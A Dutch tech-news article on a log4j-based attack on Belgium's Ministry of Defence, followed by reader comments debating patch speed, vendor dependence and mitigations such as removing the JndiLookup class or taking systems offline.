Belgisch ministerie van Defensie is aangevallen via log4j-kwetsbaarheid

Het Belgische ministerie van Defensie is afgelopen donderdag aangevallen via een log4j-kwetsbaarheid. Het ministerie geeft weinig details over de aanval; mogelijk is het e-mailverkeer verstoord.

De aanval begon donderdag op een computernetwerk van het ministerie met internettoegang, zegt een woordvoerder volgens onder meer HLN. Defensie nam 'snel' quarantainemaatregelen om de getroffen netwerken te kunnen isoleren. Het ministerie heeft nu de prioriteit om het netwerk operationeel te houden; afgelopen weekend zouden teams aan het werk zijn gesteld om de situatie onder controle te houden, Defensie-activiteiten voort te zetten en partners te waarschuwen.

Er zijn nog niet veel details over de aanval bekend; zo is het niet duidelijk wat de aanvallers wilden en wat de precieze omvang is. HLN schrijft dat de aanval 'ernstig' lijkt te zijn. Persdienst Belga zegt sinds vrijdag geen mails meer te hebben ontvangen van het ministerie en denkt daarom dat het e-mailverkeer van het ministerie is verstoord.

Het ministerie geeft wel aan dat de cybercriminelen een log4j-kwetsbaarheid gebruikten. De eerste kwetsbaarheid in deze logginglibrary kwam anderhalve week geleden aan het licht. Tweakers schreef eerder een achtergrondartikel over de Log4Shell-kwetsbaarheid.

Reacties (140)

[Eonfge]

Dat is gewoon heel laks van hun ministerie. Log4J is op 9 december openbaar gemaakt dus als je op 16 december wordt aangevallen, dan heb je een week niets gedaan!

Toen ik van log4j hoorde ben ik die zelfde dag (de 9de) alle systemen gaan langslopen voor beveiligingsanalyse en heb gehandeld waar nodig; dag later was alles in orde. Dat het ministerie van defensie zo slecht wendbaar is dat ze geen kritieke kwetsbaarheid kunnen fixen in een week, laat wel zien dat je met hun de oorlog niet gaan winnen, letterlijk.

Tijdlijn en bekendmaking;
https://www.lunasec.io/docs/blog/log4j-zero-day/

Edit.

Sommige hier zien de grote van de organisatie als excuus om niet slagvaardig te zijn bij een escalatie... Maar dat is bullshit. Een bedrijf met 50 interne projecten zou ook 50 product owners moeten hebben die in geval van nood snel kunnen handelen. Het formaat van het bedrijf zou daarin geen factor moeten zijn. Dat sommige bedrijven natuurlijk in de wurggreep worden gehouden door onbetrouwbare toeleveranciers, dat is een ander probleem welke veel systematischer zou moeten worden opgelost.

Dat het ministerie van defensie niet in staat is om binnen een week een software bug te fixen, terwijl de NATO zelf aangeeft dat een volgende oorlog hoogstens 36 uur zal duren, dat is laks. Juist bij defensie moet het proces van escalatie en ingrijpen goed uitgewerkt zijn.

Edit 2.

In de jaren tachtig hadden we nog 72 hours
https://www.youtube.com/watch?v=IKQlQlQ6_pk

[Reactie gewijzigd door Eonfge op 23 juli 2024 08:35]

[RobbieB]

Jij hebt duidelijk niet met deze ellende te maken. Ik werk in een grote organisatie (>10.000 medewerkers) en hoewel we grotendeels in kaart hebben welke applicaties dit gebruiken (mede dankzij de fantastische github pagina van het NCSC hebben nog lang niet alle fabrikanten een patch uitgebracht.

Daarbij komt dat we zelfs vandaag nog applicaties vinden die toch kwetsbaar blijken te zijn, ondanks dat de leverancier zelf aangaf dat dit niet het geval was.

Om nog maar niet te spreken over mitigerende maatregelen die later toch niet zo goed blijken als voorheen gedacht.

Tenslotte is zo'n ministerie natuurlijk super interessant om aan te vallen door staatsactoren.

Wat ik hen wél kwalijk neem, is dat ze niet direct alle publieke systemen offline hebben gehaald (zoals bv. de gemeente van Hof van Twente) en daarna zijn gaan onderzoeken. Met een threat surface als zij hebben was dat echt de enige juiste actie geweest.

[kazz1980]

Ik wel. En bij de verschillende organisaties waar ik werk zijn direct alle applicaties die mogelijk Log4J hebben uitgeschakeld of gepatcht. En in die volgorde. Bij twijfel: applicatie uit de lucht... Even vervelend. Absoluut! Maar wel zo veilig. Nu ben ik het geheel eens dat 100% veiliheid niet bestaat... Maar toch komt het op mij een beetje over als laksheid wanneer je na een volle week nog gehackt wordt op deze kwetsbaarheid.

[vverbeke]

Als ministerie van defensie is het uit de lucht halen van applicaties niet gewoon "even vervelend" maar soms van levens- of staatsbelang, dus zo eenvoudig is het niet altijd. Laat staan dat men er bij defensie in slaagt de juiste profielen aan te trekken.

[kazz1980]

Kwestie van prioriteit (en dus geld)... Niemand zegt dat het makkelijk is, maar zoals je zelf al aangeeft: de risico's zijn heel hoog! Dus liever een systeem zelf gecontroleerd uit de lucht halen dan dat hackers het voor je doen, niet waar? En als je systemen hebt draaien zonder enige vorm van (desnoods offline) achtervang/backup die van levens- of staatsbelang zijn heb je architectuur/processen sowieso niet op orde.

[vverbeke]

Je architectuur/processen op orde houden is nogal moeilijk als je niet de juiste profielen kan aantrekken.

(wilde gok hé, ik heb in de verste verte niks met defensie te maken maar heb zo'n donkerbruin vermoeden hoe het eraan toe gaat in een departement dat al jaren het ondergeschoven kindje is qua budgetten, laat staan de mentaliteit en organisatiecultuur waar je als IT'er in moet gaan werken)

[kazz1980]

Precies. Kwestie van geld/prioriteiten dus Dan krijg je dit.

[TheMak]

Enige nuance is wel op zijn plaats. Het denk dat de Russen het wel interessant zullen vinden om te weten dat de Belgische defensie standaard hun systemen uitzet als ze een zero-day-exploit publiceren.

[ioor]

Of juist weten dat ze hun systemen in de lucht houden ondanks dat ze weten dat ze gehackt zijn...wat is meer wenselijk?

[kazz1980]

Als ze IT voldoende tijd, geld en prioriteit hadden gegeven zouden ze voldoende back-up systemen of processen moeten hebben om veilig door te kunnen werken. Zeker als de risico's hoog zijn is dat namelijk hoe je met je software omgaat... Zorgen dat je nóóit afhankelijk bent van één bepaald software product of leverancier waardoor je de lucht uit moet (of een onveilige situatie moet laten bestaan) wanneer er een keer stront aan de knikker is, zoals nu met Log4J.

[einreb73]

Hoe zie je dat dan voor je , achtervang van systemen die dan die exploit ineens niet hebben ?

[kazz1980]

Ja. Door andere systemen op andere technologie van andere leveranciers, of desnoods handmatige of anderszins geautomatiseerde procedures als achtervang. Als de risico's hoog zijn (en dat lijkt me bij defensie het geval) is dat hoe je je architectuur in zou moeten richten.

[Houtenklaas]

Als dat zo is, hadden die systemen überhaupt niet aan het internet moeten hangen en is daar iets grondig misgegaan in de Risk Assessments.

[Triblade_8472]

Alsof onze west-Europeese defensie zo druk bezig is. (Edit: Met actieve missies van levens belang. Het is niet alsof wij in een oorlog zitten ofzo).

Hiernaast moet je altijd rekening houden met een EMP e.d., dus systemen horen er 'gewoon' even uit te kunnen wat mij betreft.

[Reactie gewijzigd door Triblade_8472 op 23 juli 2024 08:35]

[Wim Cossement]

Eh, hier in België zijn we eerder van het 'te weinig en altijd te laat' principe, al dan niet geholpen door onze veel te logge staatsstructuur. Zie ook de overstromingen deze zomer in de Ardennen, hier heeft men ook veel te laat en te laks gehandeld.

Onlangs zaten ze bij defensie zelfs met een gekende extreem rechtse militair bij wie plots alle stoppen doorsloegen en die is er dan ook nog in geslaagd oorlogswapens te stelen met als doel een een bekend viroloog om te leggen. Als klap op de vuurpijl doken er op sociale media ook nog een hoopje zwaar achterlijke fans op verenigd onder de kreet Je suis Jürgen...

Volgens mij had gans dit zaakje weinig met computers te maken, hier waren het steeds menselijke fouten.

[Reactie gewijzigd door Wim Cossement op 23 juli 2024 08:35]

[Blokker_1999]

Mag ik vragen hoe jij met zekerheid kunt weten dat alle applicaties zijn uitgezet? Zelfs dagen na de ontdekking van de kwetsbaarheid zijn er nog altijd leveranciers die niet met zekerheid kunnen zeggen of ze getroffen zijn. Leuk dat je zegt dat je bij twijfel de applicatie uit de lucht haalt, maar dat is ook niet altijd een optie wanneer dat zou betekenen dat je onderneming daardoor stilvalt. Dat is meer dan even vervelend. En wat doe je als je leverancier niet onmiddelijk een patch ter beschikking heeft? Vertrouwen op je firewall?

En Log4j is nu ineens een doelwit gevonden. Zoals we de afgelopen week gezien hebben zitten we ondertussen al aan de derde patch op een week tijd om het probleem aan te pakken en het zou me niet verbazen dat er de volgende weken nog meer kwetsbaarheden in dat product naar boven komen of gelijkaardige kwetsbaarheden in andere producten gevonden worden. Wanneer men zo een kwetsbaarheid vindt is dat altijd het begin van wekenlang stressen voor vele mensen. Het is goed dat de kwetsbaarheid gevonden wordt, dat zal ik ook niet ontkennen, maar het oplossen is echt niet op 1 dag gebeurd.

[kazz1980]

Eens. Ik zit er zelf ook middenin, onderdeel van een team dat belangrijke online applicaties onderhoudt/beheert waar ook Log4j in zit. En 100% garantie heb je natuurlijk nooit. Maar het is wel redelijk bekend waar Log4j in zit. Die zijn bij ons nu even uitgeschakeld. En ja, daardoor valleen een aantal bedrijfsprocessen even stil. Vervelend... maar liever dat dan al je gegevens op straat oid!

[Vullisbak]

Als het kan patchen of direct uit de lucht.
Helaas zitten er soms leveringsverplichtingen die beschikbaarheid van deze applicaties vereisen. Op dat moment ben je als bedrijf volledig afhankelijk van een maintenancewindow of (erger) totdat de leverancier met een patch komt.

[FreezeXJ]

Tja, als je product zo belangrijk is dat je leveringsverplichtingen hebt, maar je leverancier niet opschiet (en eerlijk: een week voor een simpel fixbare en heel erg kritieke patch vind ik te lang) dan zou dat de laatste keer moeten zijn dat je met die leverancier spreekt. Je applicatie voldoet dan niet aan de eisen die je stelt, dus je zoekt/betaalt een betere.

Enne, leveringsverplichtingen? Het alternatief is dat ongewenste gasten je systeem (en omliggende systemen waar ze dan opeens toegang toe hebben) offline halen, dus doe het dan zelf maar. Dat zet wat extra druk op de directie om een betere leverancier te vinden.

[Vullisbak]

Helemaal met je eens!
En als het een puur IT gedreven beslissing zou zijn zou dit probleem niet eens aan de orde zijn.

Helaas is de werkelijkheid wat weerbarstiger en werkt de business nog met software/appliances die de leverancier al lange tijd uit de support heeft gehaald, maar om een of andere naief-management reden nog steeds bedrijfskritisch is.

Vervangen kost geld, niet alleen de aanschaf van nieuw maar ook de aanpassing van bestaande systemen/processen. Vervangen, herschrijven, testen, trainen, certificeren, kost allemaal tijd en geld. Tel daar lage marges bij op en het resultaat is dat sommige 'assets' tegen IT advies worden aangehouden en uitgemolken tot de allerlaatste druppel.

IT is telkens de partij die er met kunst en vliegwerk de grootste risicos weet in te dammen. Zoals nu, met een extra security laag voor dit stuk legacy.
Nadeel daarvan is dat het de noodzaak voor vervangen weer laat afnemen, er is tenslotte toch een oplossing voor...

[Vogel666]

hmmmm bedrijf failliet, maar wel veilig....
Niet ieder bedrijf kan het zich veroorloven om 4, 10 of misschien 100 dagen uit de lucht te gaan.
Patches van Dell, HP, Oracle, SAP gaan mogelijk nog maanden op zich laten wachten.... Maar Kazz1980 trekt de applicatie gewoon uit de lucht....

[kazz1980]

Dat doe ik niet, dat doen vele bekwame beheerders bij vele bedrijven en instellingen die security wel belangrijk vinden. Als consultant werk ik bij veel grote organisaties en dit is eigenlijk hoe ik het overal zie gebeuren. Als de IT op orde is is de bedrijfsvoering nooit afhankelijk van één enkel software product of leverancier.

[Cybje]

In heel veel applicaties kun je gewoon zelf de log4j jar files vervangen, of uit de bestaande jar files de JndiLookup class verwijderen. Dit is dan niet misschien ondersteund door je vendor, dus je moet uiteraard je volledige OTAP-straat door hiermee, maar het is niet onmogelijk.

En als je het echt niet kunt fixen, een risicoanalyse doen van de betreffende applicatie. En desnoods uitschakelen. Een aanval is ook geen optie, als je kwetsbare data uitlekt of een ransomware aanval krijgt ben je veel verder van huis.

Overigens, als een vendor nu nog steeds geen patch heeft uitgebracht, moet je denk ik echt een serieus gesprek gaan voeren met die partij. Het kan toch niet zo zijn dat een applicatie gewoon wekenlang onveilig blijft. Zeker met hoe kritiek deze kwetsbaarheid is.

[crazyx]

Dat is toch een security probleem op zich, dat je gewoon maar bestanden kan vervangen zonder dat er een vorm van controle op is.

[Cybje]

Volgens mij heb ik niet gezegd dat je dit doet zonder een controle. Uiteraard doe je dat wel. Om even een praktijkvoorbeeld te geven hoe iets als dit zou gaan binnen mijn werk omgeving:

1. Wijziging ontwikkelen/voorbereiden op je development omgeving (bijv. de vervangende log4j files in een package gieten, of iets hiervoor bouwen in je configuration management)
2. Als je wijziging klaar is, 'four eyes' check laten doen door collega, merge naar main branch (of wat je ook maar gebruikt voor version control)
3. Change ticket openen om wijziging aan klant kenbaar te maken en moment van uitrol af te stemmen
4. Gefaseerde uitrol op test, acceptatie en productie met na elke uitgerolde omgeving een regressietest

Op zich zit je dan aardig veilig.

Overigens heb je niet geheel ongelijk. Het probleem van system engineers is dat ze zoveel rechten nodig hebben, dat er altijd wel iemand rechtstreeks bij die bestanden kan en ze kan vervangen. Al is het maar dat engineers die de cloud hypervisors beheren gewoon de virtuele disk kunnen mounten. Of mensen met root/Administrator toegang, omdat ze nou eenmaal dingen moeten kunnen installeren. Of iemand die de omgeving van je configuration management beheert en zo wijzigingen daar in kan doorvoeren. Dus er zal altijd enig vertrouwen moeten zijn.

[Reactie gewijzigd door Cybje op 23 juli 2024 08:35]

[Glashelder]

Wat hij bedoeld is dat blijkbaar bestanden niet gecontroleerd worden op een signature/hash.

Als dat wel het geval is en je de engineers die bij je virtual disks kunnen vervangen wat bestandjes dan werkt het niet meer

[xbeam]

Of je patched zelf
Je download log4j-core 2.17 (15 en 16 zijn niet veilig gebleken) en renamed de file naar de versie gebruikt door de applicatie en overschrijft de file in de app folder

[Reactie gewijzigd door xbeam op 23 juli 2024 08:35]

[segil]

met het risico dat de bovenliggende software niet (goed) meer werkt. En wie gaat jou dan support bieden op die software?

[FreezeXJ]

Niet je leverancier want die deed het toch al niet
Bij dit soort issues kun je kiezen: je fixt het zelf, of je haalt het offline. Niets doen is geen optie, zoals MinDef nu bewijst.

[mjtdevries]

Met die gigantische aanname dat je het daarme "gefixed hebt" en niet daardoor nog veel meedere andere problemen introduceert.

[xbeam]

Dan plaats je de oude file weer terug en accepteer je het risico.

[musiman]

Ik denk dat het direct van het internet halen van een heel ministerie toch "ietsje" meer impact heeft dan dat van een kleine gemeente.

Afgelopen donderdag zijn overigens wel alle verbindingen gesloten. Geen internet en geen mail voor heel defensie in België. Een giga mega impact dus.

[Madshark]

Ik denk dat het direct van het internet halen van een heel ministerie toch "ietsje" meer impact heeft dan dat van een kleine gemeente.

Ik denk dat een gehackte ministerie nog meer impact heeft dan tijdelijk extern toegankelijke systemen offline te halen, vooral die van Defensie.

[musiman]

Ja, maar dat is achteraf praten. Stel dat jij in de schoenen stond van een IT medewerker bij de Belgische Defensie. Zou jij dan gelijk alle connecties met het internet afsluiten totdat alle 10000+ applicaties zijn gecontroleerd en gepatcht?

[fverhoef]

Dan wordt het toch eens tijd om hier als grote organisatie/ministerie toch over na te denken om wat te doen in het vervolg met dit soort situaties. Tijdelijk offline kan een betere optie zijn dan dat je systeem gehackt of gegijzeld wordt.

Het is eigenlijk niet meer verantwoordelijk te noemen dat organisaties nog steeds verrast worden door dit soort situaties. De systemen van grote bedrijven, universiteiten en gemeenten zijn allemaal gegijzeld geweest de afgelopen tijd, en toch is men niet ingesteld op een bevinding waardoor opeens je voordeur wagenwijd open staat.

[Madshark]

Eh ja ?
We hebben het hier over Defensie, daarbij mag je toch wel vanuit gaan dat het qua security op het allerhoogste nivo van het land zit.
Stel dat men inderdaad diep tot in de systemen is doorgedrongen, zoveel potentiële gevaren, van het vergaren van geheime informatie tot aan luchtafweer systemen onklaar maken.
Ja, het zou geheel gescheiden moeten zijn, maar als de stront aan de knikker is, blijkt dan toch weer ergens een laptop met 2 interfaces of een lekkende router aanwezig te zijn, die perfecte security is moeilijk te handhaven, en dat dan deze organisatie zo'n groot wereldwijd bekend lek niet op tijd heeft gedicht baart dan best wel wat zorgen.
Zo'n gevaar zou je eigenlijk niet willen lopen, dus hup, even alle extern benaderbare systemen uit.

[musiman]

Ik ben niet geheel bekend met het netwerk van de Belgische defensie, maar heb van medewerkers aldaar wel begrepen dat dit soort netwerken volledig geïsoleerd zijn en blijven.

[Mavamaarten]

Er zijn inderdaad niet voor elke applicatie patches, maar er zijn echt wel manieren om jezelf veilig te stellen dmv firewall rules, configuratiefiles, desnoods een patch voor de class files. Als ministerie van defensie ben je op zijn minst aangewezen om jezelf op offline te zetten als je weet dat je kwetsbaar bent. Dit is gewoon prutswerk eerste klas.

[Blokker_1999]

Zucht, je weet niet wat er gebeurd is, je hebt 0 details maar je hebt blijkbaar wel direct je mening klaar dat het prutswerk eerste klas is ... . Waarop baseer je zoiets?

[Mavamaarten]

Ik baseer me op het feit dat ik weet wat de log4j kwetsbaarheid is en hoe je ze kan patchen, en heb ook van dichtbij meegemaakt hoe dat in een grote organisatie wordt gemitigeerd. Als defensie zijnde ben je gewoon verplicht om je (cyber)security op orde te hebben. Als je slachtoffer wordt van een dergelijke aanval via een publiek bekend lek een week nadat het bekend wordt, dan ben je gewoon niet goed bezig, punt.

[paradoXical]

Dat komt vooral doordat in veel organisaties niemand verantwoordelijkheid durft te nemen. Maken applicaties gebruik van de log4j2 jndi functionaliteit? Bijna geen applicaties die daar gebruik van maken. Het is doodeenvoudig om servers te scannen en de class in deze jar-bestanden actief te verwijderen. Naar wat ik zie zijn er met name 2 problemen;

1. men wil perse wachten op de officiële patches
2. downtime accepteren is blijkbaar moeilijk

[Carda]

Als het goed is, heeft elk groot bedrijf 1 of meerdere firewalls tussen de omgevingen die ze draaien. Door aanpassingen te doen op deze firewalls kun je al veel voorkomen.

[ACM]

Lang niet alle firewalls kunnen op de inhoud van berichten filteren. Vaak zijn ze beperkt tot metadata op tcp/ip-niveau. En dit soort aanvallen gaan juist over protocollen en poorten die normaal gesproken toegestaan zijn, maar met ongewenste inhoud.

En aangezien tegenwoordig alles versleuteld is (of iig hoort te zijn) moet je dan zelfs een firewall hebben die dat allemaal decodeert. En dat heeft op zich weer nieuwe problemen, zeker bij een organisatie die staatsgeheime informatie verwerkt kan ik me voorstellen dat dat op zo'n plek niet eens gedecodeerd mag (of kan) worden.
Of dat laatste voor de hier getroffen plek relevant is, is uiteraard weer een andere vraag. Maar dat weten we allemaal niet.

[Reactie gewijzigd door ACM op 23 juli 2024 08:35]

[Carda]

Dat is waar idd, bedacht me ook dat reverse proxies hier dan wel weer mee kunnen helpen. Dat wordt vast wel veel gebruikt en kan ook simpel als tussenlaag worden ingebouwd als de onderliggende software niet kan updaten.

[Connor]

Op de lijst van NCSC miste ik een aantal applicaties. Op deze lijst van BlueTeam stonden ze wel:
https://gist.github.com/S...06c2955a9cb71a8718970c592

[Unsocial Pixel]

(>100.000 multinational) koste ons denk ik een weekend? Grote is niet alles, het is wat je ermee doet.

[SillieWous]

Dit is nogal kort door de bocht. Je weet niet eens of voor het aangevallen stuk software al een patch was. Wellicht hebben ze precies hetzelfde gehandeld als jij, maar op een schaal die 1000x groter is. En is er daardoor net een stuk software over het hoofd gezien.

Hoe weet jij 100% zeker dat je ALLES gepatcht hebt?

[goarilla]

Hoe weet jij 100% zeker dat je ALLES gepatcht hebt?

Misschien door alle (mogelijke) systemen te herbouwen met werkende patches de komende maand(en) ? En je te (her)organiseren zodat dat common practice wordt ? 100% zal je wellicht nooit kunnen verzekeren maar Ik dacht dat in deze glorieuze tijd van containers, loose-coupling en light persistence dat het snel uitwisselen van het gros van je diensten wel common practice zou zijn.

[Zarhrezz]

[...]
Misschien door alle (mogelijke) systemen te herbouwen met werkende patches de komende maand(en)jaren?

FTFY.

En je te (her)organiseren zodat dat common practice wordt ? 100% zal je wellicht nooit kunnen verzekeren maar Ik dacht dat in deze glorieuze tijd van containers, loose-coupling en light persistence dat het snel uitwisselen van het gros van je diensten wel common practice zou zijn.

Die glorieuze tijd van containers, loose-coupling, etc., etc. is allemaal een kleine 10-15 jaar nadat veel van dit soort systemen al in productie waren uitgevonden. Er draaien nog talloze mainframes omdat migratie simpelweg te duur is (destijds rond 2008 heb ik schattingen gezien van banken dat dat voor hun mainframes een paar miljard zou gaan kosten).

Vergeet ook even niet dat containers niets uitmaken voor deze kwetsbaarheid tenzij natuurlijk alle containers in de hele organisatie vanaf de grond opgebouwd zijn, zonder externe packages die kwetsbaar zouden kunnen zijn.

Loose-coupling doet ook weinig tegen deze vulnerability tenzij je het zo hebt opgezet dat alle code binnen de organisatie niet zelf 3rd-party packages inladen, maar dat elke 3rd-party package binnen het bedrijf achter een interne package geladen wordt, zodat een 3rd-party package modulair uitgewisseld kan worden met een andere 3rd-party package met dezelfde interface (al dan niet via een adapter).

[SunnieNL]

Dat is iets te makkelijk wat je nu zegt en te kort door de bocht. De 9de kwam inderdaad het 1ste probleem naar voren. Daar zijn patches voor geschreven. Echter afgelopen woensdag (dus 1 dag voor de aanval) kwamen er nieuwe problemen aan het licht/in het nieuws. Daar is ook weer een patch voor geschreven (2.16) en daarna zijn er weer nieuwe problemen aan het licht gekomen waar ook weer een patch voor is geschreven (2.17) en die is gisteren uitgekomen. (dus ik hoop dat je al weer aan het werk bent om gelijk alle systemen langs te lopen, gezien je dat nieuws blijkbaar gemist hebt?)
Dus misschien hebben ze wel gepatched, maar zijn ze daarna te pakken genomen door de problemen die daarna aan het licht kwamen?

Om maar even jou eigen bron daarover aan te halen:
https://www.lunasec.io/do...update-on-cve-2021-45046/
https://www.lunasec.io/do...cve-2021-45046-increased/

It is strongly recommended that you update to 2.16.0 2.17.0 (Updated 12/19), even if you have previously updated to 2.15.0 or 2.16.0, to mitigate these new bypasses. (Updated 12/19 due to new DOS found in 2.16.0. Please upgrade to 2.17.0 to mitigate issues in previous versions.)

[Reactie gewijzigd door SunnieNL op 23 juli 2024 08:35]

[ISaFeeliN]

Denk je? Ik denk toch die eerste, want 2.15 was welliswaar nog niet 100% maar dat was een simpele denial of service. 2.16 liet iets soorgelijks zitten toch?

[ronaldpj]

2.15 had oorspronkelijk een DoS kwetsbaarheid over, maar dat is later alsnog een RCE gebleken, ook opgehoogd van 3.7 naar 9. 2.16 heeft (zoals het er nu uitziet) een DoS met een score van 7.5, die lijkt minder ernstig dan de eerste twee.

[rodie83]

Heel goed van je! Weet je wel hoeveel applicaties er draaien bij een volledig ministerie?

[spoonman]

Dat is misschien een leuk excuus voor een gewone organisatie, maar we hebben het hiet over het ministerie van defensie.

Als de russen daar gewoon met gemak kunnen meelezen, ga je dat dan echt counteren met het feit dat het allemaal niet zo gemakkelijk is?

En dit soort nieuws zal niemand verbazen die al ervaring heeft met de werking van belgische overheidsinstanties ...

[Reactie gewijzigd door spoonman op 23 juli 2024 08:35]

[n4m3l355]

Overheid in het algemeen, het is misschien een makkelijke knee-jerk maar het is toch wel apart hoe overheden wereldwijd op IT vlak toch vaak erg zwakjes presteren. Er gaat toch geen maand voorbij of weer iets "bijzonders" gebeurd, zij het een hack, honderden miljoenen over budget, of gewoon een totale failure van ongekende proporties. En dit zal ook wel voorkomen in de privaat sector maar publiekelijk is dit toch wel erg schandalig, buiten het slechte presteren van, knoeit men dus publiekelijk geld zonder consequenties.

Het verbaast me eigenlijk haast dat juist omtrend log4j zo weinig mededelingen worden gedaan, zij het overheids instanties die functies stop zetten, zij het dat ze gehacked worden.

[Kenhas]

En waarom veronderstel je dat zoiets enkel bij overheidsinstanties voorvalt?

Voor veel zaken ben je afhankelijk van software leveranciers. Bij mijn werkgever zijn alle software dossiers (met o.a. alle vermeldingen van "software door derden" vermeld wordt) overlopen en twee leveranciers bleken gebruik te maken van log4j. Die hadden zelf al het probleem opgelost.

Nu komt er opeens vandaag een mail binnen van een andere leverancier dat er gebruik wordt gemaakt van log4j in een applicatie die wel hun naam draagt maar niet door hen zelf is ontwikkeld. Blijkbaar wisten ze het zelf niet en stond het daarom niet in het dossier.

Soms ben je afhankelijk van een leverancier die zelf ook weer afhankelijk is van ....

Is beetje gemakkelijk schieten op Belgische overheidsinstanties

[FreezeXJ]

Weet je wel hoeveel IT-ers ze dan in dienst moeten hebben om dit soort dingen af te vangen?
Hoe complexer je structuur, hoe meer uitstekend opgeleide mensen je nodig hebt om dat draaiende te krijgen en houden. Daarop bezuiningen is hetzelfde als de boekhouding van het ministerie laten doen door Sjon van 3-hoog, omdat ie toevallig maar 40/uur rekent.

[PageFault]

Irrelevant. Dus je laat alles lekker meelezen omdat nog niet alle applicaties in kaart zijn gebracht of zijn gepatched? Dan zou ik er als defensie voor kiezen om de boel gewoon meteen op slot te gooien....

[walteij]

En dan je communicatie systemen met defensie-personeel in het buitenland en datacollectie over dreigingen van plekken waar je personeel zit stop zetten.
Ja, dat lijkt mij een prima plan..... </sarcasm>

Niets doen is geen oplossing, maar jouw gedachtegang is wellicht gevaarlijker voor een behoorlijk aantal mensen dan niets doen.

[FreezeXJ]

Da's het punt nou net, niets doen is geen oplossing. Als jij niet durft te garanderen dat je safe up kunt zijn, moet je down. Ook als dat heel vervelend is, en er mensen gaan stuiteren (tegen de verkeerde, het is zelden een keuze van IT om slecht onderhouden systemen te houden) en er mensen wel heel verdrietig gaan worden omdat er blijkbaar zo ver bezuinigd is op een kritiek systeem dat ze niet binnen een paar dagen een patch kunnen uitrollen.

[wica]

Ik weet niet de details, maar volgens mij kwam afgelopen vrijdag versie 4 uit van de log4j bug. Die eigenlijk. De 2.16 update van log4j te niet doet.

[RobbieB]

dan weet je inderdaad niet de details.. ja 2.16 heeft nog een bug, maar die is bij lange na niet zo spannend als de RCE in <2.15 ...

[SunnieNL]

edit1: laat maar, die CVE was ook nog van 2.15

edit2: CVSS score van 7.5. Toegeven, niet zo hoog als 10 en 9 van de eerdere scores, maar toch nog wel redelijk aanwezig. Hij valt nog onder High ipv Critical. https://logging.apache.org/log4j/2.x/security.html

[Reactie gewijzigd door SunnieNL op 23 juli 2024 08:35]

[RobbieB]

Het is 7.5 (nog steeds hoog overigens): https://www.whitesourceso...5046?query=CVE-2021-45105

Maar wel lastiger te exploiten en geen RCE.

[Reactie gewijzigd door RobbieB op 23 juli 2024 08:35]

[Polderviking]

Met lang niet zo spannend bedoel je moeilijker te exploiteren. Maar dat zegt ook niet alles.

[kiang]

Dat het ministerie van defensie niet in staat is om binnen een week een software bug te fixen, terwijl de NATO zelf aangeeft dat een volgende oorlog hoogstens 36 uur zal duren, dat is laks.

Ik lees dat je blijkbaar een extreme haat en minachting voor de overheid hebt, maar daarvoor moet je dit soort onzin ook niet verspreiden.

Wat je linkt heeft het over een oorlog in de Baltische staten: die kan de NAVO inderdaad niet winnen, vanwege het extreme geografische voordeel dat Rusland daar heeft: de NAVO heeft enkel toegang tot de Baltische staten via de Poolse grens met Litouwen, een strookje van wat, 200km? Dat ook nog eens klem zit tussen Wit Rusland en Kaliningrad.

Tenzij Zweden (en Finland) samenwerken met de NAVO is er gewoon geen beginnen aan om de Baltische staten vanuit de NAVO te beschermen. Daar komt het getal "verloren innen 36 uur" vandaan.

De aanname is daar echter dat er enkel om de Baltische staten gestreden wordt. Punt is dat als Rusland daar binnenwalst er meteen een derde wereldoorlog gestart wordt, en dan hebben we het NIET enkel over de Baltische staten. waar de NAVO aanvallen op kan uitvoeren.

kortom: net zoals bij je originele bericht ga je ook hier uit van je eigen beperkte simplistische kennis, gebaseerd op enkele headlines die je hebt gelezen, waardoor je foute conclusies trekt.

[DiPierro]

En hoe heb jij dat gedaan?
Want er is nog heel veel onbekend.
Als zelfs Nessus,Openvas,Qualys Log4j niet kunnen vinden dan weet je dat er echt een groot probleem is.
Ben jij echt elke regel in je SIEM aan het checken? (Dan blijft er niet veel tijd over om te slapen)

En zoals @RobbieB zegt wees maar blij met die geweldige GitHub pagina van NCSC-NL.

Dit gaat echt nog heel lang misbruikt worden.

Respect voor de mensen die op dit moment hard aan het werk zijn om het nog enigszins onder controle te krijgen.

[Cavemen]

Ons bedrijf is onderdeel van een groter Nederlands bedrijf (> 1 miljard omzet) waar een aantal vrij bekende merken onder vallen. Vele honderden servers, vele duizenden gebruikers. Vanuit het moederbedrijf kregen wij vorige week maandag de opdracht om te onderzoeken waar wij potentieel risico lopen en acties te ondernemen waar nodig.

Wij hebben bepaalde servers uitgeschakeld gezien de vrij open toegang, maar patches zijn nu op 20-12 nog steeds niet beschikbaar. We zijn gewoon afhankelijk van leveranciers .. we kunnen wel bellen/mailen/dreigen maar het levert ons niets op - we moeten wachten. Ik kan wel doodleuk handmatig het .JAR bestand op mijn server vervangen door een nieuwe versie maar dan loop ik het risico dat ik de software sloop - dan maar uitzetten en afwachten.

Daarnaast zit dit in zoveel dingen verwerkt dat het echt dagen gekost heeft om alleen maar leveranciers te benaderen. Het was vorige week geen bijzonder gezellig week . Ik wil alleen maar zeggen dat het gebruiken van third-party software gewoon een uitdaging kan zijn.

[kiang]

Leuk voor jou, maar een ministerie draait een veel groter applicatielandschap dan wat jij beheert, dat valt niet in je eentje op een dag te doorspitten.

[kazz1980]

Daarom doe je dat ook niet in je eentje.... Mag ik hopen! De risico's zijn hoog. Al moet je daar op stel en sprong 100 man voor inhuren, dan doe je dat.

[FreezeXJ]

Als het goed is draait een heel ministerie niet op 1 (of 10) ITer, maar op een professionele structuur waarbij iedereen weet voor welk deel ie verantwoordelijk is. Dan zoek je dat deel af, en overleg je met de rest. Het zou juist bij grote organisaties sneller moeten kunnen dan bij kleine, want er is meer kennis aanwezig.

[PageFault]

Maar wel binnen een dag op slot te zetten....

[kiang]

Dat is voor bepaalde software gene optie, zeker bij defensie. Ik zeg maar wat: software die de logistiek van buitenlandse operaties beheert? Een dag offline betekent mogelijk doden.

[vtrke]

hun ministerie? Ik werk voor het Nederlands ministerie van defensie. Ook daar was er vorige week pas actie naar aanleiding van Log4J hoor.

[Eonfge]

Dan zal ik mijn toon de volgende keer breder trekken, en aangeven dat het bij ons net zo treurig gesteld is als bij de Belgen

[spoonman]

Een belgische overheids instantie, een week niks doen?

Bizar!

[pieterdebie]

De eerste fix was beschikbaar op 10/12. Deze leek niet voldoende en er kwam een tweede fix op 13/12. Dan heb je dus 3 dagen om te patchen, te testen en te deployen. Doenbaar denk ik, maar toch een verschil.

[aikebah]

